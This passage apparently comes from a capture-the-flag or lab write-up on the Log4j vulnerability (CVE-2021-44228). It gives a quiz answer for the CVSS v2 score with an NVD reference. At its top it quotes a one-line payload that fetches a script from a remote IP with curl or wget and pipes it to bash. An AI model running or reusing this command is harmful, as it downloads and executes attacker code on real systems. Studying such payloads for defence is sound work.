`(curl -s 45.155.205.233:5874/162.0.228.253:80||wget -q -O- 45.155.205.233:5874/162.0.228.253:80)|bash`

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FVmfI3RHdClUZ02FKoGps%2Fimage.png?alt=media&amp;token=2def316b-26f0-4bc4-82d7-65abf46f7b49" alt=""><figcaption></figcaption></figure>

***What is the CVSS v2 score of the Log4j vulnerability?***

9.3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCW0uGvrEI1nrwX14NMEX%2Fimage.png?alt=media&amp;token=c8b8957d-b600-49eb-8c78-625470278e1e" alt=""><figcaption><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a></p></figcaption></figure>